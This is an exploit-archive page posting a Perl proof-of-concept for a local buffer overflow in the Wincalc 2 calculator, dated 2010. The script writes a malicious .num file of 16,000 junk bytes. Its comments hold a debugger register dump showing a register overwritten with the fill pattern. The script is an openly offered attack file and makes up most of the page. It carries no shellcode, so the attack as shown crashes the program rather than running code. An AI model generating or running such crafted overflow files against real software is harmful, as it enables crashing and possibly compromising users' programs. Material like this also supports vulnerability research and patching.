Home / os / win7

Wincalc 2 (.num) local Buffer Overflow PoC

Posted on 24 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Wincalc 2 (.num) local Buffer Overflow PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==========================================
Wincalc 2 (.num) local Buffer Overflow PoC
==========================================


#!/usr/bin/perl
###################################################################
#Exploit Title : Wincalc 2 (.num) local Buffer Overflow Poc
#tested on windows xp SP 3 FR
#Author: MadjiX - Dz8[at]HotmaiL[dot]CoM
#download: http://math.exeter.edu/rparris/peanut/wcru32z.exe
#Special Greets:Bibi-info , His0k4 [ where are you :( ]
###################################################################
#EAX 00000001
#ECX 41414141
#EDX 00000000
#EBX 0046EE18
#ESP 0012F868
#EBP 0012F8AC
#ESI 009A2DC0
#EDI 0000003B
#EIP 00417A74 wcalcru.00417A74
#C 0 ES 0023 32bit 0(FFFFFFFF)
#P 0 CS 001B 32bit 0(FFFFFFFF)
#A 0 SS 0023 32bit 0(FFFFFFFF)
#Z 0 DS 0023 32bit 0(FFFFFFFF)
#S 0 FS 003B 32bit 7FFDD000(FFF)
###################################################################
my $file = &quot;MadjiX.NUM&quot;;
my $junk1 = &quot;x41&quot; x 2000 ;
my $junk2 = &quot;x42&quot; x 2000 ;
my $junk3 = &quot;x43&quot; x 2000 ;
my $junk4 = &quot;x44&quot; x 2000 ;
my $junk5 = &quot;x45&quot; x 2000 ;
my $junk6 = &quot;x46&quot; x 2000 ;
my $junk7 = &quot;x47&quot; x 2000 ;
my $junk8 = &quot;x48&quot; x 2000 ;
open($FILE,&quot;&gt;$file&quot;);
print $FILE $junk1.$junk2.$junk3.$junk4.$junk5.$junk6.$junk7.$junk8;
close($FILE);



# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :